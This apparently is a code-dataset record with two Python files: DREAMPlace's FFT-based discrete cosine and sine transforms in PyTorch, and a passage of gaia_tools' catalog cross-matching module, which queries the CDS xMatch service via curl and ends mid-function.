dreamplace/ops/dct/discrete_spectral_transform.py

dongleecsu/DREAMPlace

86b56521a3eacfb5cadff935631302bf6986a689

2022-03-01T06:46:45.000Z

2022-03-29T12:40:05.000Z

## # @file discrete_spectral_transform.py # @author Yibo Lin # @date Jun 2018 # import os import sys import numpy as np import torch import torch.nn.functional as F import pdb """ Discrete spectral transformation leveraging fast fourier transform engine. The math here mainly uses Prosthaphaeresis properties. The trigonometric identities exploited by prosthaphaeresis relate products of trigonometric functions to sums. sin(a) sin(b) = 1/2 * (cos(a-b) - cos(a+b)) cos(a) cos(b) = 1/2 * (cos(a-b) + cos(a+b)) sin(a) cos(b) = 1/2 * (sin(a+b) + sin(a-b)) cos(a) sin(b) = 1/2 * (sin(a-b) - sin(a+b)) A 2D FFT performs y_{u, v} = \sum_i \sum_j x_{i, j} exp(-j*2*pi*u*i/M) exp(-j*2*pi*v*j/N) = \sum_i \sum_j x_{i, j} exp(-j*2*pi*(u*i/M + v*j/N)) = \sum_i \sum_j x_{i, j} (cos(-2*pi*(u*i/M + v*j/N)) + j sin(-2*pi*(u*i/M + v*j/N))). By mapping the original image from (i, j) to (i, N-j), we can have (u*i/M - v*j/N) inside exp. This will enable us to derive various cos/sin transformation by computing FFT twice. """ def get_expk(N, dtype, device): """ Compute 2*exp(-1j*pi*u/(2N)), but not exactly the same. The actual return is 2*cos(pi*u/(2N)), 2*sin(pi*u/(2N)). This will make later multiplication easier. """ pik_by_2N = torch.arange(N, dtype=dtype, device=device) pik_by_2N.mul_(np.pi/(2*N)) # cos, sin # I use sin because the real part requires subtraction # this will be easier for multiplication expk = torch.stack([pik_by_2N.cos(), pik_by_2N.sin()], dim=-1) expk.mul_(2) return expk.contiguous() def get_expkp1(N, dtype, device): """ Compute 2*exp(-1j*pi*(u+1)/(2N)), but not exactly the same. The actual return is 2*cos(pi*(u+1)/(2N)), 2*sin(pi*(u+1)/(2N)) """ neg_pik_by_2N = torch.arange(1, N+1, dtype=dtype, device=device) neg_pik_by_2N.mul_(np.pi/(2*N)) # sin, -cos # I swap -cos and sin because we need the imag part # this will be easier for multiplication expk = torch.stack([neg_pik_by_2N.cos(), neg_pik_by_2N.sin()], dim=-1) expk.mul_(2) return expk.contiguous() def get_exact_expk(N, dtype, device): # Compute exp(-j*pi*u/(2N)) = cos(pi*u/(2N)) - j * sin(pi*u/(2N)) pik_by_2N = torch.arange(N, dtype=dtype, device=device) pik_by_2N.mul_(np.pi/(2*N)) # cos, -sin expk = torch.stack([pik_by_2N.cos(), -pik_by_2N.sin()], dim=-1) return expk.contiguous() def get_perm(N, dtype, device): """ Compute permutation to generate following array 0, 2, 4, ..., 2*(N//2)-2, 2*(N//2)-1, 2*(N//2)-3, ..., 3, 1 """ perm = torch.zeros(N, dtype=dtype, device=device) perm[0:(N-1)//2+1] = torch.arange(0, N, 2, dtype=dtype, device=device) perm[(N-1)//2+1:] = torch.arange(2*(N//2)-1, 0, -2, dtype=dtype, device=device) return perm def dct_2N(x, expk=None): """ Batch Discrete Cosine Transformation without normalization to coefficients. Compute y_u = \sum_i x_i cos(pi*(2i+1)*u/(2N)), Impelements the 2N padding trick to solve DCT with FFT in the following link, https://dsp.stackexchange.com/questions/2807/fast-cosine-transform-via-fft 1. Pad x by zeros 2. Perform FFT 3. Multiply by 2*exp(-1j*pi*u/(2N)) 4. Extract the real part """ # last dimension N = x.size(-1) # pad last dimension x_pad = F.pad(x, (0, N), 'constant', 0) # the last dimension here becomes -2 because complex numbers introduce a new dimension y = torch.rfft(x_pad, signal_ndim=1, normalized=False, onesided=True)[..., 0:N, :] y.mul_(1.0/N) if expk is None: expk = get_expk(N, dtype=x.dtype, device=x.device) # get real part y.mul_(expk) # I found add is much faster than sum #y = y.sum(dim=-1) return y[..., 0]+y[..., 1] def dct_N(x, perm=None, expk=None): """ Batch Discrete Cosine Transformation without normalization to coefficients. Compute y_u = \sum_i x_i cos(pi*(2i+1)*u/(2N)), Impelements the N permuting trick to solve DCT with FFT in the following link, https://dsp.stackexchange.com/questions/2807/fast-cosine-transform-via-fft 1. permute x such that [a, b, c, d, e, f] becomes [a, c, e, f, d, b] 2. Perform FFT 3. Multiply by 2*exp(-1j*pi*u/(2N)) 4. Extract the real part """ # last dimension N = x.size(-1) if perm is None: perm = get_perm(N, dtype=torch.int64, device=x.device) if x.ndimension() <= 1: x_reorder = x.view([1, N]) else: x_reorder = x.clone() # switch from row-major to column-major for speedup x_reorder.transpose_(dim0=-2, dim1=-1) #x_reorder = x_reorder[..., perm, :] x_reorder = x_reorder.index_select(dim=-2, index=perm) # switch back x_reorder.transpose_(dim0=-2, dim1=-1) y = torch.rfft(x_reorder, signal_ndim=1, normalized=False, onesided=False)[..., 0:N, :] y.mul_(1.0/N) if expk is None: expk = get_expk(N, dtype=x.dtype, device=x.device) # get real part y.mul_(expk) # I found add is much faster than sum #y = y.sum(dim=-1) return y[..., 0]+y[..., 1] def idct_2N(x, expk=None): """ Batch Inverse Discrete Cosine Transformation without normalization to coefficients. Compute y_u = \sum_i x_i cos(pi*(2u+1)*i/(2N)), Impelements the 2N padding trick to solve IDCT with IFFT in the following link, https://github.com/tensorflow/tensorflow/blob/r1.10/tensorflow/python/ops/spectral_ops.py 1. Multiply by 2*exp(1j*pi*u/(2N)) 2. Pad x by zeros 3. Perform IFFT 4. Extract the real part """ # last dimension N = x.size(-1) if expk is None: expk = get_expk(N, dtype=x.dtype, device=x.device) # multiply by 2*exp(1j*pi*u/(2N)) x_pad = x.unsqueeze(-1).mul(expk) # pad second last dimension, excluding the complex number dimension x_pad = F.pad(x_pad, (0, 0, 0, N), 'constant', 0) if len(x.size()) == 1: x_pad.unsqueeze_(0) # the last dimension here becomes -2 because complex numbers introduce a new dimension y = torch.irfft(x_pad, signal_ndim=1, normalized=False, onesided=False, signal_sizes=[2*N])[..., 0:N] y.mul_(N) if len(x.size()) == 1: y.squeeze_(0) return y def idct_N(x, expk=None): N = x.size(-1) if expk is None: expk = get_expk(N, dtype=x.dtype, device=x.device) size = list(x.size()) size.append(2) x_reorder = torch.zeros(size, dtype=x.dtype, device=x.device) x_reorder[..., 0] = x x_reorder[..., 1:, 1] = x.flip([x.ndimension()-1])[..., :N-1].mul_(-1) x_reorder[..., 0] = x.mul(expk[..., 0]).sub_(x_reorder[..., 1].mul(expk[..., 1])) x_reorder[..., 1].mul_(expk[..., 0]) x_reorder[..., 1].add_(x.mul(expk[..., 1])) # this is to match idct_2N # normal way should multiply 0.25 x_reorder.mul_(0.5) y = torch.ifft(x_reorder, signal_ndim=1, normalized=False) y.mul_(N) z = torch.empty_like(x) z[..., 0:N:2] = y[..., :(N+1)//2, 0] z[..., 1:N:2] = y[..., (N+1)//2:, 0].flip([x.ndimension()-1]) return z def dst(x, expkp1=None): """ Batch Discrete Sine Transformation without normalization to coefficients. Compute y_u = \sum_i x_i sin(pi*(2i+1)*(u+1)/(2N)), Impelements the 2N padding trick to solve DCT with FFT in the following link, https://dsp.stackexchange.com/questions/2807/fast-cosine-transform-via-fft 1. Pad x by zeros 2. Perform FFT 3. Multiply by 2*exp(-1j*pi*u/(2N)) 4. Extract the real part """ # last dimension N = x.size(-1) # pad last dimension x_pad = F.pad(x, (0, N), 'constant', 0) # the last dimension here becomes -2 because complex numbers introduce a new dimension y = torch.rfft(x_pad, signal_ndim=1, normalized=False, onesided=True)[..., 1:N+1, :] if expkp1 is None: expkp1 = get_expkp1(N, dtype=x.dtype, device=x.device) # get imag part y = y[..., 1].mul(expkp1[:, 0]) - y[..., 0].mul(expkp1[:, 1]) return y def idst(x, expkp1=None): """ Batch Inverse Discrete Sine Transformation without normalization to coefficients. Compute y_u = \sum_i x_i cos(pi*(2u+1)*i/(2N)), Impelements the 2N padding trick to solve IDCT with IFFT in the following link, https://github.com/tensorflow/tensorflow/blob/r1.10/tensorflow/python/ops/spectral_ops.py 1. Multiply by 2*exp(1j*pi*u/(2N)) 2. Pad x by zeros 3. Perform IFFT 4. Extract the real part """ # last dimension N = x.size(-1) if expkp1 is None: expkp1 = get_expkp1(N, dtype=x.dtype, device=x.device) # multiply by 2*exp(1j*pi*u/(2N)) x_pad = x.unsqueeze(-1).mul(expkp1) # pad second last dimension, excluding the complex number dimension x_pad = F.pad(x_pad, (0, 0, 0, N), 'constant', 0) if len(x.size()) == 1: x_pad.unsqueeze_(0) # the last dimension here becomes -2 because complex numbers introduce a new dimension y = torch.irfft(x_pad, signal_ndim=1, normalized=False, onesided=False, signal_sizes=[2*N])[..., 1:N+1] y.mul_(N) if len(x.size()) == 1: y.squeeze_(0) return y def idxt(x, cos_or_sin_flag, expk=None): """ Batch Inverse Discrete Cosine Transformation without normalization to coefficients. Compute y_u = \sum_i x_i cos(pi*(2u+1)*i/(2N)), Impelements the 2N padding trick to solve IDCT with IFFT in the following link, https://github.com/tensorflow/tensorflow/blob/r1.10/tensorflow/python/ops/spectral_ops.py 1. Multiply by 2*exp(1j*pi*u/(2N)) 2. Pad x by zeros 3. Perform IFFT 4. Extract the real part @param x batch 1D tensor for conversion @param cos_or_sin_flag 0 for cosine tranformation and 1 or sine transformation @param expk 2*exp(j*pi*k/(2N)) """ # last dimension N = x.size(-1) if expk is None: expk = get_expk(N, dtype=x.dtype, device=x.device) # multiply by 2*exp(1j*pi*u/(2N)) x_pad = x.unsqueeze(-1).mul(expk) # pad second last dimension, excluding the complex number dimension x_pad = F.pad(x_pad, (0, 0, 0, N), 'constant', 0) if len(x.size()) == 1: x_pad.unsqueeze_(0) # the last dimension here becomes -2 because complex numbers introduce a new dimension # Must use IFFT here y = torch.ifft(x_pad, signal_ndim=1, normalized=False)[..., 0:N, cos_or_sin_flag] y.mul_(N) if len(x.size()) == 1: y.squeeze_(0) return y def dct2_2N(x, expk0=None, expk1=None): """ Batch 2D Discrete Cosine Transformation without normalization to coefficients. Compute 1D DCT twice. @param x batch tensor, the 2D part is MxN @param expk0 with length M @param expk1 with length N """ return dct_2N(dct_2N(x.transpose(dim0=-2, dim1=-1), expk0).transpose_(dim0=-2, dim1=-1), expk1) def dct2_N(x, perm0=None, expk0=None, perm1=None, expk1=None): """ Batch 2D Discrete Cosine Transformation without normalization to coefficients. Compute 1D DCT twice. @param x batch tensor, the 2D part is MxN @param perm0 with length M @param expk0 with length M @param perm1 with length N @param expk1 with length N """ return dct_N(dct_N(x.transpose(dim0=-2, dim1=-1), perm=perm0, expk=expk0).transpose_(dim0=-2, dim1=-1), perm=perm1, expk=expk1) def idct2_2N(x, expk0=None, expk1=None): """ Batch 2D Discrete Cosine Transformation without normalization to coefficients. Compute 1D DCT twice. @param x batch tensor, the 2D part is MxN @param expk0 with length M @param expk1 with length N """ return idct_2N(idct_2N(x.transpose(dim0=-2, dim1=-1), expk0).transpose_(dim0=-2, dim1=-1), expk1) def idct2_N(x, expk0=None, expk1=None): """ Batch 2D Discrete Cosine Transformation without normalization to coefficients. Compute 1D DCT twice. @param x batch tensor, the 2D part is MxN @param expk0 with length M @param expk1 with length N """ return idct_N(idct_N(x.transpose(dim0=-2, dim1=-1), expk0).transpose_(dim0=-2, dim1=-1), expk1) def dst2(x, expkp1_0=None, expkp1_1=None): """ Batch 2D Discrete Sine Transformation without normalization to coefficients. Compute 1D DST twice. @param x batch tensor, the 2D part is MxN @param expkp1_0 with length M @param expkp1_1 with length N """ return dst(dst(x.transpose(dim0=-2, dim1=-1), expkp1_0).transpose_(dim0=-2, dim1=-1), expkp1_1) def idcct2(x, expk_0=None, expk_1=None): """ Batch 2D Inverse Discrete Cosine-Cosine Transformation without normalization to coefficients. It computes following equation, which is slightly different from standard DCT formulation. y_{u, v} = \sum_p \sum_q x_{p, q} cos(pi/M*p*(u+0.5)) cos(pi/N*q*(v+0.5)) Compute 1D DCT twice. @param x batch tensor, the 2D part is MxN @param expk_0 with length M, 2*exp(-1j*pi*k/(2M)) @param expk_1 with length N, 2*exp(-1j*pi*k/(2N)) """ return idxt(idxt(x, 0, expk_1).transpose_(dim0=-2, dim1=-1), 0, expk_0).transpose(dim0=-2, dim1=-1) # return idxt(idxt(x.transpose(dim0=-2, dim1=-1), 0, expk_0).transpose_(dim0=-2, dim1=-1), 0, expk_1) def idsct2(x, expk_0=None, expk_1=None): """ Batch 2D Inverse Discrete Sine-Cosine Transformation without normalization to coefficients. It computes following equation, which is slightly different from standard DCT formulation. y_{u, v} = \sum_p \sum_q x_{p, q} sin(pi/M*p*(u+0.5)) cos(pi/N*q*(v+0.5)) Compute 1D DST and then 1D DCT. @param x batch tensor, the 2D part is MxN @param expk_0 with length M, 2*exp(-1j*pi*k/(2M)) @param expk_1 with length N, 2*exp(-1j*pi*k/(2N)) """ return idxt(idxt(x, 0, expk_1).transpose_(dim0=-2, dim1=-1), 1, expk_0).transpose_(dim0=-2, dim1=-1) # return idxt(idxt(x.transpose(dim0=-2, dim1=-1), 1, expk_0).transpose_(dim0=-2, dim1=-1), 0, expk_1) def idcst2(x, expk_0=None, expk_1=None): """ Batch 2D Inverse Discrete Cosine-Sine Transformation without normalization to coefficients. It computes following equation, which is slightly different from standard DCT formulation. y_{u, v} = \sum_p \sum_q x_{p, q} cos(pi/M*p*(u+0.5)) sin(pi/N*q*(v+0.5)) Compute 1D DCT and then 1D DST. @param x batch tensor, the 2D part is MxN @param expk_0 with length M, 2*exp(-1j*pi*k/(2M)) @param expk_1 with length N, 2*exp(-1j*pi*k/(2N)) """ return idxt(idxt(x, 1, expk_1).transpose_(dim0=-2, dim1=-1), 0, expk_0).transpose_(dim0=-2, dim1=-1) # return idxt(idxt(x.transpose(dim0=-2, dim1=-1), 0, expk_0).transpose_(dim0=-2, dim1=-1), 1, expk_1) def idxst_idct(x, expk_0=None, expk_1=None): ''' Batch 2D Inverse Discrete Sine-Cosine Transformation without normalization to coefficients. Compute idxst(idct(x)) @param x batch tensor, the 2D part is MxN @param expk_0 with length M, 2*exp(-1j*pi*k/(2M)) @param expk_1 with length N, 2*exp(-1j*pi*k/(2N)) ''' return idxt(idct_N(x, expk_1).transpose_(dim0=-2, dim1=-1), 1, expk_0).transpose_(dim0=-2, dim1=-1) def idct_idxst(x, expk_0=None, expk_1=None): ''' Batch 2D Inverse Discrete Cosine-Sine Transformation without normalization to coefficients. Compute idct(idxst(x)). @param x batch tensor, the 2D part is MxN @param expk_0 with length M, 2*exp(-1j*pi*k/(2M)) @param expk_1 with length N, 2*exp(-1j*pi*k/(2N)) ''' return idct_N(idxt(x, 1, expk_1).transpose_(dim0=-2, dim1=-1), expk_0).transpose_(dim0=-2, dim1=-1)

e40074d263a071da246090065d0ad8ae39b4da28

py

Python

gaia_tools/xmatch/__init__.py

henrysky/gaia_tools

c151a1d8f6896d8ef5a379291baa8a1f027bd53b

2016-09-13T06:37:46.000Z

2022-02-03T20:59:56.000Z

gaia_tools/xmatch/__init__.py

henrysky/gaia_tools

c151a1d8f6896d8ef5a379291baa8a1f027bd53b

2016-10-18T23:26:15.000Z

2020-12-08T18:24:27.000Z

gaia_tools/xmatch/__init__.py

henrysky/gaia_tools

c151a1d8f6896d8ef5a379291baa8a1f027bd53b

2016-10-18T22:26:45.000Z

2021-08-20T09:07:31.000Z

# Tools for cross-matching catalogs import csv import sys import os import os.path import platform import shutil import subprocess import tempfile import warnings WIN32= platform.system() == 'Windows' import numpy import astropy.coordinates as acoords from astropy.table import Table from astropy import units as u from ..load.download import _ERASESTR def xmatch(cat1,cat2,maxdist=2, colRA1='RA',colDec1='DEC',epoch1=None, colRA2='RA',colDec2='DEC',epoch2=None, colpmRA2='pmra',colpmDec2='pmdec', swap=False, col_field=None): """ NAME: xmatch PURPOSE: cross-match two catalogs (incl. proper motion in cat2 if epochs are different) INPUT: cat1 - First catalog cat2 - Second catalog maxdist= (2) maximum distance in arcsec colRA1= ('RA') name of the tag in cat1 with the right ascension in degree in cat1 (assumed to be ICRS) colDec1= ('DEC') name of the tag in cat1 with the declination in degree in cat1 (assumed to be ICRS) epoch1= (2000.) epoch of the coordinates in cat1 colRA2= ('RA') name of the tag in cat2 with the right ascension in degree in cat2 (assumed to be ICRS) colDec2= ('DEC') name of the tag in cat2 with the declination in degree in cat2 (assumed to be ICRS) epoch2= (2000.) epoch of the coordinates in cat2 colpmRA2= ('pmra') name of the tag in cat2 with the proper motion in right ascension in degree in cat2 (assumed to be ICRS; includes cos(Dec)) [only used when epochs are different] colpmDec2= ('pmdec') name of the tag in cat2 with the proper motion in declination in degree in cat2 (assumed to be ICRS) [only used when epochs are different] swap= (False) if False, find closest matches in cat2 for each cat1 source, if False do the opposite (important when one of the catalogs has duplicates) col_field= (None) if None, simply cross-match on RA and Dec; if a string, then cross-match on RA and Dec with additional matching in the data tag specified by the string OUTPUT: (index into cat1 of matching objects, index into cat2 of matching objects, angular separation between matching objects) HISTORY: 2016-09-12 - Written - Bovy (UofT) 2016-09-21 - Account for Gaia epoch 2015 - Bovy (UofT) 2019-07-07 - add additional catalog field matching - Leung (UofT) """ if epoch1 is None: if 'ref_epoch' in cat1.dtype.fields: epoch1= cat1['ref_epoch'] else: epoch1= 2000. if epoch2 is None: if 'ref_epoch' in cat2.dtype.fields: epoch2= cat2['ref_epoch'] else: epoch2= 2000. _check_epoch(cat1,epoch1) _check_epoch(cat2,epoch2) depoch= epoch2-epoch1 if numpy.any(depoch != 0.): # Use proper motion to get both catalogs at the same time dra=cat2[colpmRA2]/numpy.cos(cat2[colDec2]/180.*numpy.pi)\ /3600000.*depoch ddec= cat2[colpmDec2]/3600000.*depoch # Don't shift objects with non-existing proper motion dra[numpy.isnan(cat2[colpmRA2])]= 0. ddec[numpy.isnan(cat2[colpmDec2])]= 0. else: dra= 0. ddec= 0. mc1= acoords.SkyCoord(cat1[colRA1],cat1[colDec1], unit=(u.degree, u.degree),frame='icrs') mc2= acoords.SkyCoord(cat2[colRA2]-dra,cat2[colDec2]-ddec, unit=(u.degree, u.degree),frame='icrs') if col_field is not None: try: # check if the field actually exists in both cat1/cat2 cat1[col_field] cat2[col_field] except KeyError: # python 2/3 format string raise KeyError("'%s' does not exist in both catalog" % col_field) uniques = numpy.unique(cat1[col_field]) if swap: # times neg one to indicate those indices untouch will be noticed at the end and filtered out d2d = numpy.ones(len(cat2)) * -1. idx = numpy.zeros(len(cat2), dtype=int) else: d2d = numpy.ones(len(cat1)) * -1. idx = numpy.zeros(len(cat1), dtype=int) for unique in uniques: # loop over the class idx_1 = numpy.arange(cat1[colRA1].shape[0])[cat1[col_field] == unique] idx_2 = numpy.arange(cat2[colRA2].shape[0])[cat2[col_field] == unique] if idx_1.shape[0] == 0 or idx_2.shape[0] == 0: # the case where a class only exists in one but not the other continue if swap: temp_idx, temp_d2d, d3d = mc2[idx_2].match_to_catalog_sky(mc1[idx_1]) m1 = numpy.arange(len(cat2)) idx[cat2[col_field] == unique] = idx_1[temp_idx] d2d[cat2[col_field] == unique] = temp_d2d else: temp_idx, temp_d2d, d3d = mc1[idx_1].match_to_catalog_sky(mc2[idx_2]) m1 = numpy.arange(len(cat1)) idx[cat1[col_field] == unique] = idx_2[temp_idx] d2d[cat1[col_field] == unique] = temp_d2d d2d = d2d * temp_d2d.unit # make sure finally we have an unit on d2d array s.t. "<" operation can complete else: if swap: idx,d2d,d3d = mc2.match_to_catalog_sky(mc1) m1= numpy.arange(len(cat2)) else: idx,d2d,d3d = mc1.match_to_catalog_sky(mc2) m1= numpy.arange(len(cat1)) # to make sure filtering out all neg ones which are untouched mindx= ((d2d < maxdist*u.arcsec) & (0.*u.arcsec <= d2d)) m1= m1[mindx] m2= idx[mindx] if swap: return (m2,m1,d2d[mindx]) else: return (m1,m2,d2d[mindx]) def cds(cat,xcat='vizier:I/350/gaiaedr3',maxdist=2,colRA='RA',colDec='DEC', selection='best',epoch=None,colpmRA='pmra',colpmDec='pmdec', savefilename=None,gaia_all_columns=False): """ NAME: cds PURPOSE: Cross-match against a catalog in the CDS archive using the CDS cross-matching service (http://cdsxmatch.u-strasbg.fr/xmatch); uses the curl interface INPUT: cat - a catalog to cross match, requires 'RA' and 'DEC' keywords (see below) xcat= ('vizier:I/350/gaiaedr3') name of the catalog to cross-match against, in a format understood by the CDS cross-matching service (see http://cdsxmatch.u-strasbg.fr/xmatch/doc/available-tables.html; things like 'vizier:Tycho2' or 'vizier:I/345/gaia2') maxdist= (2) maximum distance in arcsec colRA= ('RA') name of the tag in cat with the right ascension colDec= ('DEC') name of the tag in cat with the declination selection= ('best') select either all matches or the best match according to CDS (see 'selection' at http://cdsxmatch.u-strasbg.fr/xmatch/doc/API-calls.html) epoch= (2000.) epoch of the coordinates in cat colpmRA= ('pmra') name of the tag in cat with the proper motion in right ascension in degree in cat (assumed to be ICRS; includes cos(Dec)) [only used when epoch != 2000.] colpmDec= ('pmdec') name of the tag in cat with the proper motion in declination in degree in cat (assumed to be ICRS) [only used when epoch != 2000.] gaia_all_columns= (False) set to True if you are matching against Gaia DR2 and want *all* columns returned; this runs a query at the Gaia Archive, which may or may not work... savefilename= (None) if set, save the output from CDS to this path; can match back using cds_matchback OUTPUT: (xcat entries for those that match, indices into cat of matching sources: index[0] is cat index of xcat[0]) HISTORY: 2016-09-12 - Written based on RC catalog code - Bovy (UofT) 2016-09-21 - Account for Gaia epoch 2015 - Bovy (UofT) 2018-05-08 - Added gaia_all_columns - Bovy (UofT) """ if epoch is None: if 'ref_epoch' in cat.dtype.fields: epoch= cat['ref_epoch'] else: epoch= 2000. _check_epoch(cat,epoch) depoch= epoch-2000. if numpy.any(depoch != 0.): # Use proper motion to get both catalogs at the same time dra=cat[colpmRA]/numpy.cos(cat[colDec]/180.*numpy.pi)\ /3600000.*depoch ddec= cat[colpmDec]/3600000.*depoch # Don't shift objects with non-existing proper motion dra[numpy.isnan(cat[colpmRA])]= 0. ddec[numpy.isnan(cat[colpmDec])]= 0. else: dra= numpy.zeros(len(cat)) ddec= numpy.zeros(len(cat)) if selection != 'all': selection= 'best' if selection == 'all': raise NotImplementedError("selection='all' CDS cross-match not currently implemented") # Write positions posfilename= tempfile.mktemp('.csv',dir=os.getcwd()) resultfilename= tempfile.mktemp('.csv',dir=os.getcwd()) with open(posfilename,'w') as csvfile: wr= csv.writer(csvfile,delimiter=',',quoting=csv.QUOTE_MINIMAL) wr.writerow(['RA','DEC']) for ii in range(len(cat)): wr.writerow([(cat[ii][colRA]-dra[ii]+360.) % 360., cat[ii][colDec]]-ddec[ii]) _cds_match_batched(resultfilename,posfilename,maxdist,selection,xcat) # Directly match on input RA ma= cds_load(resultfilename) if gaia_all_columns: from astroquery.gaia import Gaia # Write another temporary file with the XML output of the cross-match tab= Table(numpy.array([ma['source_id'],ma['RA'],ma['DEC']]).T, names=('source_id','RA','DEC'), dtype=('int64','float64','float64')) xmlfilename= tempfile.mktemp('.xml',dir=os.getcwd()) tab.write(xmlfilename,format='votable') #get the data release.... table_identifier = xcat.split('/')[-1] if table_identifier == 'gaia2': table_identifier = 'gaiadr2' try: job= Gaia.launch_job_async( """select g.*, m.RA as mRA, m.DEC as mDEC from %s.gaia_source as g inner join tap_upload.my_table as m on m.source_id = g.source_id""" % table_identifier, upload_resource=xmlfilename, upload_table_name="my_table") ma= job.get_results() except: print("gaia_tools.xmath.cds failed to retrieve all gaia columns, returning just the default returned by the CDS xMatch instead...") else: ma.rename_column('mra','RA') ma.rename_column('mdec','DEC') finally: os.remove(xmlfilename) # Remove temporary files os.remove(posfilename) if savefilename is None: os.remove(resultfilename) else: shutil.move(resultfilename,savefilename) # Match back to the original catalog mai= cds_matchback(cat,ma,colRA=colRA,colDec=colDec,epoch=epoch, colpmRA=colpmRA,colpmDec=colpmDec) return (ma,mai) def _cds_match_batched(resultfilename,posfilename,maxdist,selection,xcat, nruns_necessary=1): """CDS xMatch (sometimes?) fails for large matches, because of a time-out, so we recursively split until the batches are small enough to not fail""" # Figure out which of the hierarchy we are running try: runs= ''.join([str(int(r)-1) for r in posfilename.split('csv.')[-1].split('.')]) except ValueError: runs= '' nruns= 2**len(runs) if nruns >= nruns_necessary: # Only run this level's match if we don't already know that we should # be using smaller batches _cds_basic_match(resultfilename,posfilename,maxdist,selection,xcat) try: ma= cds_load(resultfilename) except ValueError: # Assume this is the time-out failure pass else: return nruns # xMatch failed because of time-out, split posfilename1= posfilename+'.1' posfilename2= posfilename+'.2' resultfilename1= resultfilename+'.1' resultfilename2= resultfilename+'.2' # Figure out which of the hierarchy we are running runs= ''.join([str(int(r)-1) for r in posfilename1.split('csv.')[-1].split('.')]) nruns= 2**len(runs) thisrun1= 1+int(runs,2) thisrun2= 1+int(''.join([str(int(r)-1) for r in posfilename2.split('csv.')[-1].split('.')]),2) # Count the number of objects with open(posfilename,'r') as posfile: num_lines= sum(1 for line in posfile) # Write the header line with open(posfilename1,'w') as posfile1: with open(posfilename,'r') as posfile: posfile1.write(posfile.readline()) with open(posfilename2,'w') as posfile2: with open(posfilename,'r') as posfile: posfile2.write(posfile.readline()) # Cut in half cnt= 0 with open(posfilename,'r') as posfile: with open(posfilename1,'a') as posfile1: with open(posfilename2,'a') as posfile2: for line in posfile: if cnt == 0: cnt+= 1 continue if cnt < num_lines//2: posfile1.write(line) cnt+= 1 # Can stop counting once this if is done else: posfile2.write(line) # Run each sys.stdout.write('\r'+"Working on CDS xMatch batch {} / {} ...\r"\ .format(thisrun1,nruns)) sys.stdout.flush() nruns_necessary= _cds_match_batched(resultfilename1,posfilename1, maxdist,selection,xcat, nruns_necessary=nruns_necessary) sys.stdout.write('\r'+"Working on CDS xMatch batch {} / {} ...\r"\ .format(thisrun2,nruns)) sys.stdout.flush() nruns_necessary= _cds_match_batched(resultfilename2,posfilename2, maxdist,selection,xcat, nruns_necessary=nruns_necessary) sys.stdout.write('\r'+_ERASESTR+'\r') sys.stdout.flush() # Combine results with open(resultfilename,'w') as resultfile: with open(resultfilename1,'r') as resultfile1: for line in resultfile1: resultfile.write(line) with open(resultfilename2,'r') as resultfile2: for line in resultfile2: if line[0] == 'a': continue resultfile.write(line) # Remove intermediate files os.remove(posfilename1) os.remove(posfilename2) os.remove(resultfilename1) os.remove(resultfilename2) return nruns_necessary def _cds_basic_match(resultfilename,posfilename,maxdist,selection,xcat): # Send to CDS for matching result= open(resultfilename,'w') try: subprocess.check_call(['curl', '-X','POST', '-F','request=xmatch', '-F','distMaxArcsec=%i' % maxdist, '-F','selection=%s' % selection, '-F','RESPONSEFORMAT=csv', '-F','cat1=@%s' % os.path.basename(posfilename), '-F','colRA1=RA', '-F','colDec1=DEC', '-F','cat2=%s' % xcat, 'http://cdsxmatch.u-strasbg.fr/xmatch/api/v1/sync'], stdout=result) except subprocess.CalledProcessError: os.remove(posfilename) if os.path.exists(resultfilename): result.close() os.remove(resultfilename) result.close() return None def cds_load(filename): if WIN32: # windows do not have float128, but source_id is double # get around this by squeezing precision from int64 on source_id as source_id is always integer anyway # first read everything as fp64 and then convert source_id to int64 will keep its precision data = numpy.genfromtxt(filename, delimiter=',', skip_header=0, filling_values=-9999.99, names=True, max_rows=1, dtype='float64') # only read the first row max to reduce workload to just get the column name to_list = list(data.dtype.names) # construct a list where everything is fp64 except 'source_id' being int64 dtype_list = [('{}'.format(i), numpy.float64) for i in to_list] dtype_list[dtype_list.index(('source_id', numpy.float64))] = ('source_id', numpy.uint64) return numpy.genfromtxt(filename, delimiter=',', skip_header=0, filling_values=-9999.99, names=True, dtype=dtype_list) else: return numpy.genfromtxt(filename, delimiter=',', skip_header=0, filling_values=-9999.99, names=True, dtype='float128') def cds_matchback(cat,xcat,colRA='RA',colDec='DEC',selection='best', epoch=None,colpmRA='pmra',colpmDec='pmdec',): """ NAME: cds_matchback PURPOSE: Match a matched catalog from xmatch.cds back to the original catalog INPUT cat - original catalog xcat - matched catalog returned by xmatch.cds colRA= ('RA') name of the tag in cat with the right ascension colDec= ('DEC') name of the tag in cat with the declination selection= ('best') select either all matches or the best match according to CDS (see 'selection' at http://cdsxmatch.u-strasbg.fr/xmatch/doc/API-calls.html) epoch= (2000.) epoch of the coordinates in cat colpmRA= ('pmra') name of the tag in cat with the proper motion in right ascension in degree in cat (assumed to be ICRS; includes cos(Dec)) [only used when epoch != 2000.] colpmDec= ('pmdec') name of the tag in cat with the proper motion in declination in degree in cat (assumed to be ICRS) [only used when epoch != 2000.] OUTPUT: Array indices into cat of xcat entries: index[0] is cat index of xcat[0] HISTORY: 2016-09-12 - Written - Bovy (UofT) 2018-05-04 - Account for non-zero epoch difference - Bovy (UofT) """ if selection != 'all': selection= 'best' if selection == 'all': raise NotImplementedError("selection='all' CDS cross-match not currently implemented") if epoch is None: if 'ref_epoch' in cat.dtype.fields: epoch= cat['ref_epoch'] else: epoch= 2000. _check_epoch(cat,epoch) depoch= epoch-2000. if numpy.any(depoch != 0.): # Use proper motion to get both catalogs at the same time dra=cat[colpmRA]/numpy.cos(cat[colDec]/180.*numpy.pi)\ /3600000.*depoch ddec= cat[colpmDec]/3600000.*depoch # Don't shift objects with non-existing proper motion dra[numpy.isnan(cat[colpmRA])]= 0. ddec[numpy.isnan(cat[colpmDec])]= 0. else: dra= numpy.zeros(len(cat)) ddec= numpy.zeros(len(cat)) # xmatch to v. small diff., because match is against *original* coords, # not matched coords in CDS mc1= acoords.SkyCoord(cat[colRA]-dra,cat[colDec]-ddec, unit=(u.degree, u.degree),frame='icrs') mc2= acoords.SkyCoord(xcat['RA'],xcat['DEC'], unit=(u.degree, u.degree),frame='icrs') idx,d2d,d3d = mc2.match_to_catalog_sky(mc1) mindx= d2d < 1e-5*u.arcsec return idx[mindx] def _check_epoch(cat,epoch): warn_about_epoch= False if 'ref_epoch' in cat.dtype.fields: if 'designation' not in cat.dtype.fields: # Assume this is DR1 if numpy.any(numpy.fabs(epoch-2015.) > 0.01): warn_about_epoch= True elif 'Gaia DR2' in 